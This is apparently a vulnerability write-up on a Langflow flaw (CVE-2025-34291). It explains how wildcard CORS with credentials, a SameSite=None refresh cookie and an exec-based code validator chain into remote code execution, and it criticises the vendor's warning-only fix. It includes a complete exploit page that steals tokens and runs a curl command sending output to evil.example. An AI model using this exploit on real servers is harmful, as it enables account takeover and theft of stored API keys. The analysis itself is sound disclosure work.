The function that warns and the function that installs
Here is the relevant block from main.py in Langflow 1.6.9, top to bottom:
def warn_about_future_cors_changes(settings):
"""Warn users about upcoming CORS security changes in version 1.7."""
using_defaults = settings.cors_origins == "*" and settings.cors_allow_credentials is True
if using_defaults:
logger.warning(
"DEPRECATION NOTICE: Starting in v1.7, CORS will be more restrictive by default. "
"Current behavior allows all origins (*) with credentials enabled. "
"Consider setting LANGFLOW_CORS_ORIGINS for production deployments. "
"See documentation for secure CORS configuration."
)
if settings.cors_origins == "*" and settings.cors_allow_credentials:
logger.warning(
"SECURITY NOTICE: Current CORS configuration allows all origins with credentials. "
"In v1.7, credentials will be automatically disabled when using wildcard origins. "
"Specify exact origins in LANGFLOW_CORS_ORIGINS to use credentials securely."
)
def create_app():
"""Create the FastAPI app and include the router."""
# ...
settings = get_settings_service().settings
# Warn about future CORS changes
warn_about_future_cors_changes(settings)
# Configure CORS using settings (with backward compatible defaults)
origins = settings.cors_origins
if isinstance(origins, str) and origins != "*":
origins = [origins]
# Apply current CORS configuration (maintains backward compatibility)
app.add_middleware(
CORSMiddleware,
allow_origins=origins,
allow_credentials=settings.cors_allow_credentials,
allow_methods=settings.cors_allow_methods,
allow_headers=settings.cors_allow_headers,
)
The first function names the threat: wildcard origins with credentials enabled. The second function reads the same settings.cors_origins and settings.cors_allow_credentials it just complained about and hands them to CORSMiddleware. The inline comment at the call site says "maintains backward compatibility." The defaults that produce the warning come from services/settings/base.py:
# CORS Settings
cors_origins: list[str] | str = "*"
"""Allowed origins for CORS. Can be a list of origins or '*' for all origins.
Default is '*' for backward compatibility. In production, specify exact origins."""
cors_allow_credentials: bool = True
"""Whether to allow credentials in CORS requests.
Default is True for backward compatibility. In v1.7, this will be changed to False when using wildcard origins."""
The bug is in the docstring. The bug is in the warning string. The bug is in the inline comment. The bug is the literal value the field declarations carry. The fix is a one-character edit in two places. The version that performed the edit is 1.7.0; the version that knew it had to and did not is 1.6.9.
What allow_origins="*" plus allow_credentials=True actually does
Starlette's CORSMiddleware, which FastAPI re-exports, has a documented behavior for this combination. It does not literally return Access-Control-Allow-Origin: * together with Access-Control-Allow-Credentials: true, because no browser will honor the pair. Instead, when allow_credentials=True and the configured origin list contains "*", the middleware reflects the request's Origin header into the response. The header returned to a request from https://evil.example is Access-Control-Allow-Origin: https://evil.example, paired with Access-Control-Allow-Credentials: true. Browsers accept that combination and let the requesting page read the response body.
The verified Nuclei template for this CVE confirms the behavior on the wire:
OPTIONS /api/v1/refresh HTTP/1.1
Host: langflow.victim.example
Origin: https://scanme.sh
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://scanme.sh
Access-Control-Allow-Credentials: true
The "wildcard" is not in the response. The wildcard is in the configuration. The middleware turned it into "any origin you happen to send."
The cookie that travels
The cookie the cross-origin request needs to carry is refresh_token_lf. Its defaults live in services/settings/auth.py:
REFRESH_SAME_SITE: Literal["lax", "strict", "none"] = "none"
"""The SameSite attribute of the refresh token cookie."""
REFRESH_SECURE: bool = True
"""The Secure attribute of the refresh token cookie."""
REFRESH_HTTPONLY: bool = True
"""The HttpOnly attribute of the refresh token cookie."""
SameSite=None is a deliberate choice. The browser default for cookies that omit the SameSite attribute is Lax, which would not send a refresh cookie on a cross-site POST. A developer who typed none did so to make the cookie travel cross-site. The Secure and HttpOnly flags mitigate adjacent classes of attack: HttpOnly keeps the cookie out of JavaScript, Secure confines it to HTTPS. Neither stops the browser from sending the cookie on a credentialed fetch() from evil.example to langflow.victim.example.
The /refresh handler hands the access token back in the JSON body
The standard objection at this point is that HttpOnly cookies are not readable by fetch(). That objection is correct and irrelevant. api/v1/login.py's /refresh handler does not require the attacker to read the cookies it sets; it returns the freshly minted access token in the response body.
@router.post("/refresh")
async def refresh_token(request: Request, response: Response, db: DbSession):
token = request.cookies.get("refresh_token_lf")
if token:
tokens = await create_refresh_token(token, db)
response.set_cookie("refresh_token_lf", tokens["refresh_token"], ...)
response.set_cookie("access_token_lf", tokens["access_token"], ...)
return tokens
return tokens serializes both tokens into JSON. The attacker's page, reading the response of a credentialed fetch() that the CORS middleware just authorized, has the access token as a string in a JSON object. The HttpOnly flag protects the cookie copy of the token. There are two copies. The other copy is the one the handler hands to whoever asked.
The validator is exec()
The endpoint that turns a valid access token into remote code execution is POST /api/v1/validate/code. The handler is six lines:
@router.post("/code", status_code=200)
async def post_validate_code(code: Code, _current_user: CurrentActiveUser) -> CodeValidationResponse:
try:
errors = validate_code(code.code)
return CodeValidationResponse(
imports=errors.get("imports", {}),
function=errors.get("function", {}),
)
The dispatch passes the submitted string to validate_code in utils/validate.py. The implementation of validate_code decides whether the code is valid by running it:
def validate_code(code):
errors = {"imports": {"errors": []}, "function": {"errors": []}}
tree = ast.parse(code)
# ...
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
try:
exec_globals = _create_langflow_execution_context()
exec(code_obj, exec_globals)
except Exception as e:
errors["function"]["errors"].append(str(e))
return errors
Submit a Python file containing a def. The validator compiles the def, calls exec(code_obj, exec_globals), catches and reports any exception. The function body itself is not executed: exec of a def statement only binds the function name in the namespace. The function's default-argument expressions, on the other hand, are evaluated at definition time. That is standard Python semantics and it is the primitive that closes this chain:
def x(_=__import__('os').system('curl https://evil.example/$(id)')):
pass
The dispatcher reads the submitted string, calls ast.parse, finds one FunctionDef, compiles it, hands it to exec. Python evaluates the default-argument expression to bind _, runs os.system, returns the function object. validate_code records no error. post_validate_code returns a 200 with an empty error list. The catch block catches the exec'd code's exceptions; the absence of exceptions is the validator's success path. The endpoint name and docstring describe a code validator that returns a list of errors. The implementation is exec.
The exploit, in one HTML page
A logged-in Langflow administrator, whose responsibilities include building and deploying agent workflows, browses a page hosted on evil.example while their refresh_token_lf cookie is live. The default REFRESH_TOKEN_EXPIRE_SECONDS value is one week. The page contains the following:
<script>
(async () => {
const lf = 'https://langflow.victim.example';
// Step 1. Token theft. Browser sends refresh_token_lf because SameSite=None.
// Browser lets evil.example read the response because CORS allow_origins is *
// with allow_credentials true, which the middleware turns into Origin reflection.
const refresh = await fetch(lf + '/api/v1/refresh', {
method: 'POST',
credentials: 'include',
});
const { access_token } = await refresh.json();
// Step 2. RCE. The access token authorizes /api/v1/validate/code.
// The validator runs default-argument expressions at def-binding time.
await fetch(lf + '/api/v1/validate/code', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': 'Bearer ' + access_token,
},
body: JSON.stringify({
code: "def x(_=__import__('os').system('id > /tmp/pwn && curl --data @/tmp/pwn https://evil.example')): pass"
}),
});
})();
</script>
Two fetch() calls. No password, no clickjacking, no XSS on the target. The victim's only action is to visit a page in a browser that holds their Langflow refresh cookie. The server-side artifacts include encrypted Langflow global variables, which the platform's threat model designates as the secure store for API keys to every model provider and tool integration the operator has wired into a flow. The chain ends with the contents of that store inside the attacker's process.
The fix in 1.6.0 was an env var, and the real fix was a closed pull request
The disclosure timeline reported by Obsidian Security: HackerOne report filed July 29, 2025. CVE-2025-34291 assigned October 23, 2025. Public disclosure December 5, 2025. CISA added the entry to the Known Exploited Vulnerabilities catalog on May 21, 2026, with a federal remediation deadline of June 4, 2026. The deadline passed four days before this post.
The vendor's response inside the gap is on the record in the project's pull-request history. PR #9441, titled "fix: update CORS configuration and add env vars to allow for user control," would have automatically disabled credentials when origins were wildcarded and switched the refresh cookie's SameSite default from none to lax. It was closed on September 8, 2025. The replacement that landed three days later, in commit bfc7c8b, added warn_about_future_cors_changes to main.py and introduced the LANGFLOW_CORS_* environment variables. Operators who knew to set LANGFLOW_CORS_ORIGINS and LANGFLOW_CORS_ALLOW_CREDENTIALS could now override the defaults. Operators who did not remained on * with credentials enabled. The pull request that would have closed the bug was closed; the commit that shipped instead added a log line.
That is the safe-mode-was-opt-in shape. A project exposes a security-relevant flag with an unsafe default, then treats the existence of the flag as the mitigation. The vm2 exhibit on that pattern catalog shipped bufferAllocLimit as Infinity and included a regression test asserting the default still allocated 64 MB host buffers. The DeepSeek-TUI exhibit shipped allow_shell and auto_approve as booleans whose unwrap_or(true) paths granted shell access to anything that did not ask not to have it. The Langflow exhibit extends the pattern from libraries shipped to developers to a deployed service shipped to operators, and adds a flourish the prior exhibits did not have: the unsafe default in main.py is in lexical adjacency to the function that logs the unsafe default at every startup. The warning is the mitigation. The mitigation is the proof that the vendor knew.
The second leg of the chain is content-is-command at its purest. The /api/v1/validate/code handler's name encodes the contract the caller expects: submit code, receive a list of validation errors, no code runs. The implementation chose to determine validity by exec-ing the function definition under a stocked globals dict. The moment Langflow decides the code is valid is the moment Python has finished evaluating its default arguments. A real validator would have walked the AST and refused nodes whose evaluation has side effects; the file is called validate.py and uses ast.parse to get the tree, so the author knew the AST existed. They reached for exec anyway.
CISA added CVE-2025-34291 to KEV because something out there is doing all of this. The federal deadline to remediate was June 4. The KEV entry does not require the vendor's December disclosure; it requires only the in-wild proof. The deadline is the federal government noting how much time the operator has had to act on the warning the vendor's own startup log has been emitting since the day it shipped.
PoC: projectdiscovery/nuclei-templates CVE-2025-34291.yaml
The warning was not the fix.